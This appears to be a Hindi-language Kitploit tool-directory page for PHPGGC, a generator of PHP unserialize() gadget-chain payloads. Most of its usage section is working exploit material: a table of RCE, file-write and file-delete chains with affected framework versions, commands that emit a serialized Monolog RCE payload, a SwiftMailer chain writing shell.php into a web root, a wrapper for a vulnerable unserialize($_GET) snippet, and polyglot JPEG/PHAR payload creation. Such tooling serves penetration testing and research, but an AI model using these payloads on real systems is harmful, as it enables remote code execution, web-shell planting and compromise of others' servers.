Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
phpggc — PHPGGC PHP unserialize() पेलोड की एक लाइब्रेरी है, साथ ही उन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने के लिए एक उपकरण है। | Kitploit
उपकरण/GitHubGitHub/ambionics/phpggc
शोषण फ्रेमवर्कपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषण
GitHubambionics/phpggc

phpggc

PHPGGC PHP unserialize() पेलोड की एक लाइब्रेरी है, साथ ही उन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने के लिए एक उपकरण है।

रिपॉजिटरी देखें
3.9k559271 साल पहलेKitploit द्वारा समीक्षित
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PHPGGC: PHP जेनेरिक गैजेट चेन

PHPGGC, unserialize() पेलोड्स की एक लाइब्रेरी है, साथ ही इन्हें कमांड लाइन या प्रोग्रामेटिक रूप से उत्पन्न करने का एक टूल भी है। जब आपको किसी ऐसी वेबसाइट पर unserialize मिलता है जिसका कोड आपके पास नहीं है, या केवल एक एक्सप्लॉइट बनाने की कोशिश कर रहे हों, तो यह टूल आपको गैजेट खोजने और उन्हें जोड़ने के थकाऊ चरणों से गुज़ारे बिना पेलोड उत्पन्न करने की सुविधा देता है। इसे frohoff's ysoserial के समकक्ष माना जा सकता है, लेकिन PHP के लिए। वर्तमान में, यह टूल इन गैजेट चेन का समर्थन करता है: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii और ZendFramework।

आवश्यकताएँ

PHPGGC चलाने के लिए PHP >= 5.6 आवश्यक है।

उपयोग

गैजेट चेन की सूची प्राप्त करने के लिए ./phpggc -l चलाएँ:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

गैजेट चेन फ़िल्टर करें:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

हर गैजेट चेन में होता है:

  • नाम: फ्रेमवर्क/लाइब्रेरी का नाम
  • संस्करण: फ्रेमवर्क/लाइब्रेरी का वह संस्करण जिसके लिए गैजेट हैं
  • प्रकार: शोषण का प्रकार: RCE, फ़ाइल लेखन, फ़ाइल पठन, Include...
  • वेक्टर: unserialize के बाद चेन को ट्रिगर करने वाला वेक्टर (__destruct(), __toString(), offsetGet(), ...)
  • जानकारी: चेन के बारे में अन्य जानकारी

किसी चेन के बारे में विस्तृत जानकारी पाने के लिए -i का उपयोग करें:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

RCE गैजेट्स के लिए, निष्पादित कमांड में गैजेट के काम करने के तरीके के आधार पर 3 प्रकार के फ़ॉर्मेटिंग हो सकते हैं:

  • RCE (Command): ./phpggc Symfony/RCE1 id
  • RCE (PHP code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Function call): ./phpggc Symfony/RCE4 system id

एक बार जब आप एक चेन चुन लें, तो पेलोड प्राप्त करने के लिए ./phpggc <gadget-chain> [parameters] चलाएँ। उदाहरण के लिए, Monolog के लिए पेलोड प्राप्त करने हेतु, आप यह करेंगे:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

SwiftMailer का उपयोग करके फ़ाइल लिखने के लिए, आप यह करेंगे:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

रैपर

--wrapper (-w) विकल्प आपको एक PHP फ़ाइल परिभाषित करने की सुविधा देता है जिसमें निम्नलिखित फ़ंक्शन होते हैं:

  • process_parameters(array $parameters): generate() से ठीक पहले कॉल किया जाता है, पैरामीटर बदलने की अनुमति देता है
  • process_object(object $object): serialize() से ठीक पहले कॉल किया जाता है, ऑब्जेक्ट बदलने की अनुमति देता है
  • process_serialized(string $serialized): serialize() के ठीक बाद कॉल किया जाता है, सीरियलाइज़्ड स्ट्रिंग बदलने की अनुमति देता है

उदाहरण के लिए, यदि कमज़ोर कोड इस प्रकार दिखता है:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

आप इसे इस प्रकार लपेटते हुए __toString() चेन का उपयोग कर सकते हैं:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

और आप phpggc को इस प्रकार कॉल करेंगे:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

इतिहास

BlackHat US 2018 में, @s_n_t ने PHARGGC जारी किया, जो PHPGGC का एक fork है जो सीरियलाइज़्ड पेलोड बनाने के बजाय एक पूरी PHAR फ़ाइल बनाता है। इस PHAR फ़ाइल में सीरियलाइज़्ड डेटा होता है और इस तरह इसका उपयोग विभिन्न शोषण तकनीकों (file_exists, fopen, आदि) के लिए किया जा सकता है। पेपर यहाँ है।

कार्यान्वयन

PHAR अभिलेख तीन अलग-अलग प्रारूपों में आते हैं: PHAR, TAR, और ZIP। तीनों को PHPGGC समर्थन करता है। --phar-jpeg (-pj) का उपयोग करके Polyglot फ़ाइलें उत्पन्न की जा सकती हैं। अन्य विकल्प भी उपलब्ध हैं (-h देखें)।

उदाहरण

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

एन्कोडर

टूल डाउनलोड करें